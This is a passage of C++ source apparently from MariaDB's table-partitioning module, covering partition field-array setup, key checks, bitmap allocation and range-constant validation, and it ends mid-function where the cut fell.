#include "mariadb.h"
#include "sql_priv.h"
#include "sql_partition.h"
#include "key.h" // key_restore
#include "sql_parse.h" // parse_sql
#include "sql_cache.h" // query_cache_invalidate3
#include "lock.h" // mysql_lock_remove
#include "sql_show.h" // append_identifier
#include <m_ctype.h>
#include "transaction.h"
#include "debug_sync.h"
#include "sql_base.h" // close_all_tables_for_name
#include "sql_table.h" // build_table_filename,
// build_table_shadow_filename,
// table_to_filename
// mysql_*_alter_copy_data
#include "opt_range.h" // store_key_image_to_rec
#include "sql_alter.h" // Alter_table_ctx
#include "sql_select.h"
#include "sql_tablespace.h" // check_tablespace_name
#include "tztime.h" // my_tz_OFFSET0
#include <algorithm>
using std::max;
using std::min;
#ifdef WITH_PARTITION_STORAGE_ENGINE
#include "ha_partition.h"
#define ERROR_INJECT_CRASH(code) \
DBUG_EVALUATE_IF(code, (DBUG_SUICIDE(), 0), 0)
#define ERROR_INJECT_ERROR(code) \
DBUG_EVALUATE_IF(code, (my_error(ER_UNKNOWN_ERROR, MYF(0)), TRUE), 0)
/*
Partition related functions declarations and some static constants;
*/
static int get_partition_id_list_col(partition_info *, uint32 *, longlong *);
static int get_partition_id_list(partition_info *, uint32 *, longlong *);
static int get_partition_id_range_col(partition_info *, uint32 *, longlong *);
static int get_partition_id_range(partition_info *, uint32 *, longlong *);
static int vers_get_partition_id(partition_info *, uint32 *, longlong *);
static int get_part_id_charset_func_part(partition_info *, uint32 *, longlong *);
static int get_part_id_charset_func_subpart(partition_info *, uint32 *);
static int get_partition_id_hash_nosub(partition_info *, uint32 *, longlong *);
static int get_partition_id_key_nosub(partition_info *, uint32 *, longlong *);
static int get_partition_id_linear_hash_nosub(partition_info *, uint32 *, longlong *);
static int get_partition_id_linear_key_nosub(partition_info *, uint32 *, longlong *);
static int get_partition_id_with_sub(partition_info *, uint32 *, longlong *);
static int get_partition_id_hash_sub(partition_info *part_info, uint32 *part_id);
static int get_partition_id_key_sub(partition_info *part_info, uint32 *part_id);
static int get_partition_id_linear_hash_sub(partition_info *part_info, uint32 *part_id);
static int get_partition_id_linear_key_sub(partition_info *part_info, uint32 *part_id);
static uint32 get_next_partition_via_walking(PARTITION_ITERATOR*);
static void set_up_range_analysis_info(partition_info *part_info);
static uint32 get_next_subpartition_via_walking(PARTITION_ITERATOR*);
#endif
uint32 get_next_partition_id_range(PARTITION_ITERATOR* part_iter);
uint32 get_next_partition_id_list(PARTITION_ITERATOR* part_iter);
#ifdef WITH_PARTITION_STORAGE_ENGINE
static int get_part_iter_for_interval_via_mapping(partition_info *, bool,
uint32 *, uchar *, uchar *, uint, uint, uint, PARTITION_ITERATOR *);
static int get_part_iter_for_interval_cols_via_map(partition_info *, bool,
uint32 *, uchar *, uchar *, uint, uint, uint, PARTITION_ITERATOR *);
static int get_part_iter_for_interval_via_walking(partition_info *, bool,
uint32 *, uchar *, uchar *, uint, uint, uint, PARTITION_ITERATOR *);
static int cmp_rec_and_tuple(part_column_list_val *val, uint32 nvals_in_rec);
static int cmp_rec_and_tuple_prune(part_column_list_val *val,
uint32 n_vals_in_rec,
bool is_left_endpoint,
bool include_endpoint);
/*
Convert constants in VALUES definition to the character set the
corresponding field uses.
SYNOPSIS
convert_charset_partition_constant()
item Item to convert
cs Character set to convert to
RETURN VALUE
NULL Error
item New converted item
*/
Item* convert_charset_partition_constant(Item *item, CHARSET_INFO *cs)
{
THD *thd= current_thd;
Name_resolution_context *context= &thd->lex->current_select->context;
TABLE_LIST *save_list= context->table_list;
const char *save_where= thd->where;
item= item->safe_charset_converter(thd, cs);
context->table_list= NULL;
thd->where= "convert character set partition constant";
if (item->fix_fields_if_needed(thd, (Item**)NULL))
item= NULL;
thd->where= save_where;
context->table_list= save_list;
return item;
}
/**
A support function to check if a name is in a list of strings.
@param name String searched for
@param list_names A list of names searched in
@return True if if the name is in the list.
@retval true String found
@retval false String not found
*/
static bool is_name_in_list(const char *name, List<const char> list_names)
{
List_iterator<const char> names_it(list_names);
uint num_names= list_names.elements;
uint i= 0;
do
{
const char *list_name= names_it++;
if (!(my_strcasecmp(system_charset_info, name, list_name)))
return TRUE;
} while (++i < num_names);
return FALSE;
}
/*
Set-up defaults for partitions.
SYNOPSIS
partition_default_handling()
table Table object
part_info Partition info to set up
is_create_table_ind Is this part of a table creation
normalized_path Normalized path name of table and database
RETURN VALUES
TRUE Error
FALSE Success
*/
bool partition_default_handling(THD *thd, TABLE *table, partition_info *part_info,
bool is_create_table_ind,
const char *normalized_path)
{
DBUG_ENTER("partition_default_handling");
if (!is_create_table_ind)
{
if (part_info->use_default_num_partitions)
{
if (table->file->get_no_parts(normalized_path, &part_info->num_parts))
{
DBUG_RETURN(TRUE);
}
}
else if (part_info->is_sub_partitioned() &&
part_info->use_default_num_subpartitions)
{
uint num_parts;
if (table->file->get_no_parts(normalized_path, &num_parts))
{
DBUG_RETURN(TRUE);
}
DBUG_ASSERT(part_info->num_parts > 0);
DBUG_ASSERT((num_parts % part_info->num_parts) == 0);
part_info->num_subparts= num_parts / part_info->num_parts;
}
}
part_info->set_up_defaults_for_partitioning(thd, table->file,
NULL, 0U);
DBUG_RETURN(FALSE);
}
/*
A useful routine used by update/delete_row for partition handlers to
calculate the partition id.
SYNOPSIS
get_part_for_buf()
buf Buffer of old record
rec0 Reference to table->record[0]
part_info Reference to partition information
out:part_id The returned partition id to delete from
RETURN VALUE
0 Success
> 0 Error code
DESCRIPTION
Dependent on whether buf is not record[0] we need to prepare the
fields. Then we call the function pointer get_partition_id to
calculate the partition id.
*/
int get_part_for_buf(const uchar *buf, const uchar *rec0,
partition_info *part_info, uint32 *part_id)
{
int error;
longlong func_value;
DBUG_ENTER("get_part_for_buf");
if (buf == rec0)
{
error= part_info->get_partition_id(part_info, part_id, &func_value);
if (unlikely((error)))
goto err;
DBUG_PRINT("info", ("Partition %d", *part_id));
}
else
{
Field **part_field_array= part_info->full_part_field_array;
part_info->table->move_fields(part_field_array, buf, rec0);
error= part_info->get_partition_id(part_info, part_id, &func_value);
part_info->table->move_fields(part_field_array, rec0, buf);
if (unlikely(error))
goto err;
DBUG_PRINT("info", ("Partition %d (path2)", *part_id));
}
DBUG_RETURN(0);
err:
part_info->err_value= func_value;
DBUG_RETURN(error);
}
/*
This method is used to set-up both partition and subpartitioning
field array and used for all types of partitioning.
It is part of the logic around fix_partition_func.
SYNOPSIS
set_up_field_array()
table TABLE object for which partition fields are set-up
sub_part Is the table subpartitioned as well
RETURN VALUE
TRUE Error, some field didn't meet requirements
FALSE Ok, partition field array set-up
DESCRIPTION
A great number of functions below here is part of the fix_partition_func
method. It is used to set up the partition structures for execution from
openfrm. It is called at the end of the openfrm when the table struct has
been set-up apart from the partition information.
It involves:
1) Setting arrays of fields for the partition functions.
2) Setting up binary search array for LIST partitioning
3) Setting up array for binary search for RANGE partitioning
4) Setting up key_map's to assist in quick evaluation whether one
can deduce anything from a given index of what partition to use
5) Checking whether a set of partitions can be derived from a range on
a field in the partition function.
As part of doing this there is also a great number of error controls.
This is actually the place where most of the things are checked for
partition information when creating a table.
Things that are checked includes
1) All fields of partition function in Primary keys and unique indexes
(if not supported)
Create an array of partition fields (NULL terminated). Before this method
is called fix_fields or find_table_in_sef has been called to set
GET_FIXED_FIELDS_FLAG on all fields that are part of the partition
function.
*/
static bool set_up_field_array(THD *thd, TABLE *table,
bool is_sub_part)
{
Field **ptr, *field, **field_array;
uint num_fields= 0;
uint size_field_array;
uint i= 0;
uint inx;
partition_info *part_info= table->part_info;
int result= FALSE;
DBUG_ENTER("set_up_field_array");
ptr= table->field;
while ((field= *(ptr++)))
{
if (field->flags & GET_FIXED_FIELDS_FLAG)
num_fields++;
}
if (unlikely(num_fields > MAX_REF_PARTS))
{
char *err_str;
if (is_sub_part)
err_str= (char*)"subpartition function";
else
err_str= (char*)"partition function";
my_error(ER_TOO_MANY_PARTITION_FUNC_FIELDS_ERROR, MYF(0), err_str);
DBUG_RETURN(TRUE);
}
if (num_fields == 0)
{
/*
We are using hidden key as partitioning field
*/
DBUG_ASSERT(!is_sub_part);
DBUG_RETURN(FALSE);
}
size_field_array= (num_fields+1)*sizeof(Field*);
field_array= (Field**) thd->calloc(size_field_array);
if (unlikely(!field_array))
DBUG_RETURN(TRUE);
ptr= table->field;
while ((field= *(ptr++)))
{
if (field->flags & GET_FIXED_FIELDS_FLAG)
{
field->flags&= ~GET_FIXED_FIELDS_FLAG;
field->flags|= FIELD_IN_PART_FUNC_FLAG;
if (likely(!result))
{
if (!is_sub_part && part_info->column_list)
{
List_iterator<const char> it(part_info->part_field_list);
const char *field_name;
DBUG_ASSERT(num_fields == part_info->part_field_list.elements);
inx= 0;
do
{
field_name= it++;
if (!my_strcasecmp(system_charset_info,
field_name,
field->field_name.str))
break;
} while (++inx < num_fields);
if (inx == num_fields)
{
/*
Should not occur since it should already been checked in either
add_column_list_values, handle_list_of_fields,
check_partition_info etc.
*/
DBUG_ASSERT(0);
my_error(ER_FIELD_NOT_FOUND_PART_ERROR, MYF(0));
result= TRUE;
continue;
}
}
else
inx= i;
field_array[inx]= field;
i++;
/*
We check that the fields are proper. It is required for each
field in a partition function to:
1) Not be a BLOB of any type
A BLOB takes too long time to evaluate so we don't want it for
performance reasons.
*/
if (unlikely(field->flags & BLOB_FLAG))
{
my_error(ER_BLOB_FIELD_IN_PART_FUNC_ERROR, MYF(0));
result= TRUE;
}
}
}
}
field_array[num_fields]= 0;
if (!is_sub_part)
{
part_info->part_field_array= field_array;
part_info->num_part_fields= num_fields;
}
else
{
part_info->subpart_field_array= field_array;
part_info->num_subpart_fields= num_fields;
}
DBUG_RETURN(result);
}
/*
Create a field array including all fields of both the partitioning and the
subpartitioning functions.
SYNOPSIS
create_full_part_field_array()
thd Thread handle
table TABLE object for which partition fields are set-up
part_info Reference to partitioning data structure
RETURN VALUE
TRUE Memory allocation of field array failed
FALSE Ok
DESCRIPTION
If there is no subpartitioning then the same array is used as for the
partitioning. Otherwise a new array is built up using the flag
FIELD_IN_PART_FUNC in the field object.
This function is called from fix_partition_func
*/
static bool create_full_part_field_array(THD *thd, TABLE *table,
partition_info *part_info)
{
bool result= FALSE;
Field **ptr;
my_bitmap_map *bitmap_buf;
DBUG_ENTER("create_full_part_field_array");
if (!part_info->is_sub_partitioned())
{
part_info->full_part_field_array= part_info->part_field_array;
part_info->num_full_part_fields= part_info->num_part_fields;
}
else
{
Field *field, **field_array;
uint num_part_fields=0, size_field_array;
ptr= table->field;
while ((field= *(ptr++)))
{
if (field->flags & FIELD_IN_PART_FUNC_FLAG)
num_part_fields++;
}
size_field_array= (num_part_fields+1)*sizeof(Field*);
field_array= (Field**) thd->calloc(size_field_array);
if (unlikely(!field_array))
{
result= TRUE;
goto end;
}
num_part_fields= 0;
ptr= table->field;
while ((field= *(ptr++)))
{
if (field->flags & FIELD_IN_PART_FUNC_FLAG)
field_array[num_part_fields++]= field;
}
field_array[num_part_fields]=0;
part_info->full_part_field_array= field_array;
part_info->num_full_part_fields= num_part_fields;
}
/*
Initialize the set of all fields used in partition and subpartition
expression. Required for testing of partition fields in write_set
when updating. We need to set all bits in read_set because the row
may need to be inserted in a different [sub]partition.
*/
if (!(bitmap_buf= (my_bitmap_map*)
thd->alloc(bitmap_buffer_size(table->s->fields))))
{
result= TRUE;
goto end;
}
if (unlikely(my_bitmap_init(&part_info->full_part_field_set, bitmap_buf,
table->s->fields, FALSE)))
{
result= TRUE;
goto end;
}
/*
full_part_field_array may be NULL if storage engine supports native
partitioning.
*/
table->vcol_set= table->read_set= &part_info->full_part_field_set;
if ((ptr= part_info->full_part_field_array))
for (; *ptr; ptr++)
{
if ((*ptr)->vcol_info)
table->mark_virtual_col(*ptr);
else
bitmap_fast_test_and_set(table->read_set, (*ptr)->field_index);
}
table->default_column_bitmaps();
end:
DBUG_RETURN(result);
}
/*
Clear flag GET_FIXED_FIELDS_FLAG in all fields of a key previously set by
set_indicator_in_key_fields (always used in pairs).
SYNOPSIS
clear_indicator_in_key_fields()
key_info Reference to find the key fields
RETURN VALUE
NONE
DESCRIPTION
These support routines is used to set/reset an indicator of all fields
in a certain key. It is used in conjunction with another support routine
that traverse all fields in the PF to find if all or some fields in the
PF is part of the key. This is used to check primary keys and unique
keys involve all fields in PF (unless supported) and to derive the
key_map's used to quickly decide whether the index can be used to
derive which partitions are needed to scan.
*/
static void clear_indicator_in_key_fields(KEY *key_info)
{
KEY_PART_INFO *key_part;
uint key_parts= key_info->user_defined_key_parts, i;
for (i= 0, key_part=key_info->key_part; i < key_parts; i++, key_part++)
key_part->field->flags&= (~GET_FIXED_FIELDS_FLAG);
}
/*
Set flag GET_FIXED_FIELDS_FLAG in all fields of a key.
SYNOPSIS
set_indicator_in_key_fields
key_info Reference to find the key fields
RETURN VALUE
NONE
*/
static void set_indicator_in_key_fields(KEY *key_info)
{
KEY_PART_INFO *key_part;
uint key_parts= key_info->user_defined_key_parts, i;
for (i= 0, key_part=key_info->key_part; i < key_parts; i++, key_part++)
key_part->field->flags|= GET_FIXED_FIELDS_FLAG;
}
/*
Check if all or some fields in partition field array is part of a key
previously used to tag key fields.
SYNOPSIS
check_fields_in_PF()
ptr Partition field array
out:all_fields Is all fields of partition field array used in key
out:some_fields Is some fields of partition field array used in key
RETURN VALUE
all_fields, some_fields
*/
static void check_fields_in_PF(Field **ptr, bool *all_fields,
bool *some_fields)
{
DBUG_ENTER("check_fields_in_PF");
*all_fields= TRUE;
*some_fields= FALSE;
if ((!ptr) || !(*ptr))
{
*all_fields= FALSE;
DBUG_VOID_RETURN;
}
do
{
/* Check if the field of the PF is part of the current key investigated */
if ((*ptr)->flags & GET_FIXED_FIELDS_FLAG)
*some_fields= TRUE;
else
*all_fields= FALSE;
} while (*(++ptr));
DBUG_VOID_RETURN;
}
/*
Clear flag GET_FIXED_FIELDS_FLAG in all fields of the table.
This routine is used for error handling purposes.
SYNOPSIS
clear_field_flag()
table TABLE object for which partition fields are set-up
RETURN VALUE
NONE
*/
static void clear_field_flag(TABLE *table)
{
Field **ptr;
DBUG_ENTER("clear_field_flag");
for (ptr= table->field; *ptr; ptr++)
(*ptr)->flags&= (~GET_FIXED_FIELDS_FLAG);
DBUG_VOID_RETURN;
}
/*
find_field_in_table_sef finds the field given its name. All fields get
GET_FIXED_FIELDS_FLAG set.
SYNOPSIS
handle_list_of_fields()
it A list of field names for the partition function
table TABLE object for which partition fields are set-up
part_info Reference to partitioning data structure
sub_part Is the table subpartitioned as well
RETURN VALUE
TRUE Fields in list of fields not part of table
FALSE All fields ok and array created
DESCRIPTION
This routine sets-up the partition field array for KEY partitioning, it
also verifies that all fields in the list of fields is actually a part of
the table.
*/
static bool handle_list_of_fields(THD *thd, List_iterator<const char> it,
TABLE *table,
partition_info *part_info,
bool is_sub_part)
{
Field *field;
bool result;
const char *field_name;
bool is_list_empty= TRUE;
DBUG_ENTER("handle_list_of_fields");
while ((field_name= it++))
{
is_list_empty= FALSE;
field= find_field_in_table_sef(table, field_name);
if (likely(field != 0))
field->flags|= GET_FIXED_FIELDS_FLAG;
else
{
my_error(ER_FIELD_NOT_FOUND_PART_ERROR, MYF(0));
clear_field_flag(table);
result= TRUE;
goto end;
}
}
if (is_list_empty && part_info->part_type == HASH_PARTITION)
{
uint primary_key= table->s->primary_key;
if (primary_key != MAX_KEY)
{
uint num_key_parts= table->key_info[primary_key].user_defined_key_parts, i;
/*
In the case of an empty list we use primary key as partition key.
*/
for (i= 0; i < num_key_parts; i++)
{
Field *field= table->key_info[primary_key].key_part[i].field;
field->flags|= GET_FIXED_FIELDS_FLAG;
}
}
else
{
if (table->s->db_type()->partition_flags &&
(table->s->db_type()->partition_flags() & HA_USE_AUTO_PARTITION) &&
(table->s->db_type()->partition_flags() & HA_CAN_PARTITION))
{
/*
This engine can handle automatic partitioning and there is no
primary key. In this case we rely on that the engine handles
partitioning based on a hidden key. Thus we allocate no
array for partitioning fields.
*/
DBUG_RETURN(FALSE);
}
else
{
my_error(ER_FIELD_NOT_FOUND_PART_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
}
}
result= set_up_field_array(thd, table, is_sub_part);
end:
DBUG_RETURN(result);
}
/*
Support function to check if all VALUES * (expression) is of the
right sign (no signed constants when unsigned partition function)
SYNOPSIS
check_signed_flag()
part_info Partition info object
RETURN VALUES
0 No errors due to sign errors
>0 Sign error
*/
int check_signed_flag(partition_info *part_info)
{
int error= 0;
uint i= 0;
if (part_info->part_type != HASH_PARTITION &&
part_info->part_expr->unsigned_flag)
{
List_iterator<partition_element> part_it(part_info->partitions);
do
{
partition_element *part_elem= part_it++;
if (part_elem->signed_flag)
{
my_error(ER_PARTITION_CONST_DOMAIN_ERROR, MYF(0));
error= ER_PARTITION_CONST_DOMAIN_ERROR;
break;
}
} while (++i < part_info->num_parts);
}
return error;
}
/*
init_lex_with_single_table and end_lex_with_single_table
are now in sql_lex.cc
*/
/*
The function uses a new feature in fix_fields where the flag
GET_FIXED_FIELDS_FLAG is set for all fields in the item tree.
This field must always be reset before returning from the function
since it is used for other purposes as well.
SYNOPSIS
fix_fields_part_func()
thd The thread object
func_expr The item tree reference of the partition function
table The table object
part_info Reference to partitioning data structure
is_sub_part Is the table subpartitioned as well
is_create_table_ind Indicator of whether openfrm was called as part of
CREATE or ALTER TABLE
RETURN VALUE
TRUE An error occurred, something was wrong with the
partition function.
FALSE Ok, a partition field array was created
DESCRIPTION
This function is used to build an array of partition fields for the
partitioning function and subpartitioning function. The partitioning
function is an item tree that must reference at least one field in the
table. This is checked first in the parser that the function doesn't
contain non-cacheable parts (like a random function) and by checking
here that the function isn't a constant function.
Calculate the number of fields in the partition function.
Use it allocate memory for array of Field pointers.
Initialise array of field pointers. Use information set when
calling fix_fields and reset it immediately after.
The get_fields_in_item_tree activates setting of bit in flags
on the field object.
*/
static bool fix_fields_part_func(THD *thd, Item* func_expr, TABLE *table,
bool is_sub_part, bool is_create_table_ind)
{
partition_info *part_info= table->part_info;
bool result= TRUE;
int error;
LEX *old_lex= thd->lex;
LEX lex;
DBUG_ENTER("fix_fields_part_func");
if (init_lex_with_single_table(thd, table, &lex))
goto end;
table->get_fields_in_item_tree= true;
func_expr->walk(&Item::change_context_processor, 0, &lex.select_lex.context);
thd->where= "partition function";
/*
In execution we must avoid the use of thd->change_item_tree since
we might release memory before statement is completed. We do this
by temporarily setting the stmt_arena->mem_root to be the mem_root
of the table object, this also ensures that any memory allocated
during fix_fields will not be released at end of execution of this
statement. Thus the item tree will remain valid also in subsequent
executions of this table object. We do however not at the moment
support allocations during execution of val_int so any item class
that does this during val_int must be disallowed as partition
function.
SEE Bug #21658
This is a tricky call to prepare for since it can have a large number
of interesting side effects, both desirable and undesirable.
*/
{
const bool save_agg_field= thd->lex->current_select->non_agg_field_used();
const bool save_agg_func= thd->lex->current_select->agg_func_used();
const nesting_map saved_allow_sum_func= thd->lex->allow_sum_func;
thd->lex->allow_sum_func= 0;
if (likely(!(error= func_expr->fix_fields_if_needed(thd, (Item**)&func_expr))))
func_expr->walk(&Item::post_fix_fields_part_expr_processor, 0, NULL);
/*
Restore agg_field/agg_func and allow_sum_func,
fix_fields should not affect mysql_select later, see Bug#46923.
*/
thd->lex->current_select->set_non_agg_field_used(save_agg_field);
thd->lex->current_select->set_agg_func_used(save_agg_func);
thd->lex->allow_sum_func= saved_allow_sum_func;
}
if (unlikely(error))
{
DBUG_PRINT("info", ("Field in partition function not part of table"));
clear_field_flag(table);
goto end;
}
if (unlikely(func_expr->const_item()))
{
my_error(ER_WRONG_EXPR_IN_PARTITION_FUNC_ERROR, MYF(0));
clear_field_flag(table);
goto end;
}
/*
We don't allow creating partitions with expressions with non matching
arguments as a (sub)partitioning function,
but we want to allow such expressions when opening existing tables for
easier maintenance. This exception should be deprecated at some point
in future so that we always throw an error.
*/
if (func_expr->walk(&Item::check_valid_arguments_processor, 0, NULL))
{
if (is_create_table_ind)
{
my_error(ER_WRONG_EXPR_IN_PARTITION_FUNC_ERROR, MYF(0));
goto end;
}
else
push_warning(thd, Sql_condition::WARN_LEVEL_WARN,
ER_WRONG_EXPR_IN_PARTITION_FUNC_ERROR,
ER_THD(thd, ER_WRONG_EXPR_IN_PARTITION_FUNC_ERROR));
}
if (unlikely((!is_sub_part) && (error= check_signed_flag(part_info))))
goto end;
result= set_up_field_array(thd, table, is_sub_part);
end:
end_lex_with_single_table(thd, table, old_lex);
func_expr->walk(&Item::change_context_processor, 0, 0);
DBUG_RETURN(result);
}
/*
Check that the primary key contains all partition fields if defined
SYNOPSIS
check_primary_key()
table TABLE object for which partition fields are set-up
RETURN VALUES
TRUE Not all fields in partitioning function was part
of primary key
FALSE Ok, all fields of partitioning function were part
of primary key
DESCRIPTION
This function verifies that if there is a primary key that it contains
all the fields of the partition function.
This is a temporary limitation that will hopefully be removed after a
while.
*/
static bool check_primary_key(TABLE *table)
{
uint primary_key= table->s->primary_key;
bool all_fields, some_fields;
bool result= FALSE;
DBUG_ENTER("check_primary_key");
if (primary_key < MAX_KEY)
{
set_indicator_in_key_fields(table->key_info+primary_key);
check_fields_in_PF(table->part_info->full_part_field_array,
&all_fields, &some_fields);
clear_indicator_in_key_fields(table->key_info+primary_key);
if (unlikely(!all_fields))
{
my_error(ER_UNIQUE_KEY_NEED_ALL_FIELDS_IN_PF,MYF(0),"PRIMARY KEY");
result= TRUE;
}
}
DBUG_RETURN(result);
}
/*
Check that unique keys contains all partition fields
SYNOPSIS
check_unique_keys()
table TABLE object for which partition fields are set-up
RETURN VALUES
TRUE Not all fields in partitioning function was part
of all unique keys
FALSE Ok, all fields of partitioning function were part
of unique keys
DESCRIPTION
This function verifies that if there is a unique index that it contains
all the fields of the partition function.
This is a temporary limitation that will hopefully be removed after a
while.
*/
static bool check_unique_keys(TABLE *table)
{
bool all_fields, some_fields;
bool result= FALSE;
uint keys= table->s->keys;
uint i;
DBUG_ENTER("check_unique_keys");
for (i= 0; i < keys; i++)
{
if (table->key_info[i].flags & HA_NOSAME) //Unique index
{
set_indicator_in_key_fields(table->key_info+i);
check_fields_in_PF(table->part_info->full_part_field_array,
&all_fields, &some_fields);
clear_indicator_in_key_fields(table->key_info+i);
if (unlikely(!all_fields))
{
my_error(ER_UNIQUE_KEY_NEED_ALL_FIELDS_IN_PF,MYF(0),"UNIQUE INDEX");
result= TRUE;
break;
}
}
}
DBUG_RETURN(result);
}
/*
An important optimisation is whether a range on a field can select a subset
of the partitions.
A prerequisite for this to happen is that the PF is a growing function OR
a shrinking function.
This can never happen for a multi-dimensional PF. Thus this can only happen
with PF with at most one field involved in the PF.
The idea is that if the function is a growing function and you know that
the field of the PF is 4 <= A <= 6 then we can convert this to a range
in the PF instead by setting the range to PF(4) <= PF(A) <= PF(6). In the
case of RANGE PARTITIONING and LIST PARTITIONING this can be used to
calculate a set of partitions rather than scanning all of them.
Thus the following prerequisites are there to check if sets of partitions
can be found.
1) Only possible for RANGE and LIST partitioning (not for subpartitioning)
2) Only possible if PF only contains 1 field
3) Possible if PF is a growing function of the field
4) Possible if PF is a shrinking function of the field
OBSERVATION:
1) IF f1(A) is a growing function AND f2(A) is a growing function THEN
f1(A) + f2(A) is a growing function
f1(A) * f2(A) is a growing function if f1(A) >= 0 and f2(A) >= 0
2) IF f1(A) is a growing function and f2(A) is a shrinking function THEN
f1(A) / f2(A) is a growing function if f1(A) >= 0 and f2(A) > 0
3) IF A is a growing function then a function f(A) that removes the
least significant portion of A is a growing function
E.g. DATE(datetime) is a growing function
MONTH(datetime) is not a growing/shrinking function
4) IF f1(A) is a growing function and f2(A) is a growing function THEN
f1(f2(A)) and f2(f1(A)) are also growing functions
5) IF f1(A) is a shrinking function and f2(A) is a growing function THEN
f1(f2(A)) is a shrinking function and f2(f1(A)) is a shrinking function
6) f1(A) = A is a growing function
7) f1(A) = A*a + b (where a and b are constants) is a growing function
By analysing the item tree of the PF we can use these deducements and
derive whether the PF is a growing function or a shrinking function or
neither of it.
If the PF is range capable then a flag is set on the table object
indicating this to notify that we can use also ranges on the field
of the PF to deduce a set of partitions if the fields of the PF were
not all fully bound.
SYNOPSIS
check_range_capable_PF()
table TABLE object for which partition fields are set-up
DESCRIPTION
Support for this is not implemented yet.
*/
void check_range_capable_PF(TABLE *table)
{
DBUG_ENTER("check_range_capable_PF");
DBUG_VOID_RETURN;
}
/**
Set up partition bitmaps
@param thd Thread object
@param part_info Reference to partitioning data structure
@return Operation status
@retval TRUE Memory allocation failure
@retval FALSE Success
Allocate memory for bitmaps of the partitioned table
and initialise it.
*/
static bool set_up_partition_bitmaps(THD *thd, partition_info *part_info)
{
uint32 *bitmap_buf;
uint bitmap_bits= part_info->num_subparts?
(part_info->num_subparts* part_info->num_parts):
part_info->num_parts;
uint bitmap_bytes= bitmap_buffer_size(bitmap_bits);
DBUG_ENTER("set_up_partition_bitmaps");
DBUG_ASSERT(!part_info->bitmaps_are_initialized);
/* Allocate for both read and lock_partitions */
if (unlikely(!(bitmap_buf=
(uint32*) alloc_root(&part_info->table->mem_root,
bitmap_bytes * 2))))
DBUG_RETURN(TRUE);
my_bitmap_init(&part_info->read_partitions, bitmap_buf, bitmap_bits, FALSE);
/* Use the second half of the allocated buffer for lock_partitions */
my_bitmap_init(&part_info->lock_partitions, bitmap_buf + (bitmap_bytes / 4),
bitmap_bits, FALSE);
part_info->bitmaps_are_initialized= TRUE;
part_info->set_partition_bitmaps(NULL);
DBUG_RETURN(FALSE);
}
/*
Set up partition key maps
SYNOPSIS
set_up_partition_key_maps()
table TABLE object for which partition fields are set-up
part_info Reference to partitioning data structure
RETURN VALUES
None
DESCRIPTION
This function sets up a couple of key maps to be able to quickly check
if an index ever can be used to deduce the partition fields or even
a part of the fields of the partition function.
We set up the following key_map's.
PF = Partition Function
1) All fields of the PF is set even by equal on the first fields in the
key
2) All fields of the PF is set if all fields of the key is set
3) At least one field in the PF is set if all fields is set
4) At least one field in the PF is part of the key
*/
static void set_up_partition_key_maps(TABLE *table,
partition_info *part_info)
{
uint keys= table->s->keys;
uint i;
bool all_fields, some_fields;
DBUG_ENTER("set_up_partition_key_maps");
part_info->all_fields_in_PF.clear_all();
part_info->all_fields_in_PPF.clear_all();
part_info->all_fields_in_SPF.clear_all();
part_info->some_fields_in_PF.clear_all();
for (i= 0; i < keys; i++)
{
set_indicator_in_key_fields(table->key_info+i);
check_fields_in_PF(part_info->full_part_field_array,
&all_fields, &some_fields);
if (all_fields)
part_info->all_fields_in_PF.set_bit(i);
if (some_fields)
part_info->some_fields_in_PF.set_bit(i);
if (part_info->is_sub_partitioned())
{
check_fields_in_PF(part_info->part_field_array,
&all_fields, &some_fields);
if (all_fields)
part_info->all_fields_in_PPF.set_bit(i);
check_fields_in_PF(part_info->subpart_field_array,
&all_fields, &some_fields);
if (all_fields)
part_info->all_fields_in_SPF.set_bit(i);
}
clear_indicator_in_key_fields(table->key_info+i);
}
DBUG_VOID_RETURN;
}
static bool check_no_constants(THD *, partition_info*)
{
return FALSE;
}
/*
Support routines for check_list_constants used by qsort to sort the
constant list expressions. One routine for integers and one for
column lists.
SYNOPSIS
list_part_cmp()
a First list constant to compare with
b Second list constant to compare with
RETURN VALUE
+1 a > b
0 a == b
-1 a < b
*/
extern "C"
int partition_info_list_part_cmp(const void* a, const void* b)
{
longlong a1= ((LIST_PART_ENTRY*)a)->list_value;
longlong b1= ((LIST_PART_ENTRY*)b)->list_value;
if (a1 < b1)
return -1;
else if (a1 > b1)
return +1;
else
return 0;
}
/*
Compare two lists of column values in RANGE/LIST partitioning
SYNOPSIS
partition_info_compare_column_values()
first First column list argument
second Second column list argument
RETURN VALUES
0 Equal
-1 First argument is smaller
+1 First argument is larger
*/
extern "C"
int partition_info_compare_column_values(const void *first_arg,
const void *second_arg)
{
const part_column_list_val *first= (part_column_list_val*)first_arg;
const part_column_list_val *second= (part_column_list_val*)second_arg;
partition_info *part_info= first->part_info;
Field **field;
for (field= part_info->part_field_array; *field;
field++, first++, second++)
{
if (first->max_value || second->max_value)
{
if (first->max_value && second->max_value)
return 0;
if (second->max_value)
return -1;
else
return +1;
}
if (first->null_value || second->null_value)
{
if (first->null_value && second->null_value)
continue;
if (second->null_value)
return +1;
else
return -1;
}
int res= (*field)->cmp((const uchar*)first->column_value,
(const uchar*)second->column_value);
if (res)
return res;
}
return 0;
}
/*
This routine allocates an array for all range constants to achieve a fast
check what partition a certain value belongs to. At the same time it does
also check that the range constants are defined in increasing order and
that the expressions are constant integer expressions.
SYNOPSIS
check_range_constants()
thd Thread object
RETURN VALUE
TRUE An error occurred during creation of range constants
FALSE Successful creation of range constant mapping
DESCRIPTION
This routine is called from check_partition_info to get a quick error
before we came too far into the CREATE TABLE process. It is also called
from fix_partition_func every time we open the .frm file. It is only
called for RANGE PARTITIONed tables.
*/
static bool check_range_constants(THD *thd, partition_info *part_info)
{
partition_element* part_def;
bool first= TRUE;
uint i;
List_iterator<partition_element> it(part_info->partitions);
bool result= TRUE;
DBUG_ENTER("check_range_constants");
DBUG_PRINT("enter", ("RANGE with %d parts, column_list = %u",
part_info->num_parts, part_info->column_list));
if (part_info->column_list)
{
part_column_list_val *loc_range_col_array;
part_column_list_val *UNINIT_VAR(current_largest_col_val);
uint num_column_values= part_info->part_field_list.elements;
uint size_entries= sizeof(part_column_list_val) * num_column_values;
part_info->range_col_array= (part_column_list_val*)
thd->calloc(part_info->num_parts * size_entries);
if (unlikely(part_info->range_col_array == NULL))
goto end;
loc_range_col_array= part_info->range_col_array;
i= 0;
do
{
part_def= it++;
{
List_iterator<part_elem_value> list_val_it(part_def->list_val_list);
part_elem_value *range_val= list_val_it++;
part_column_list_val *col_val= range_val->col_val_array;
if (part_info->fix_column_value_functions(thd, range_val, i))
goto end;
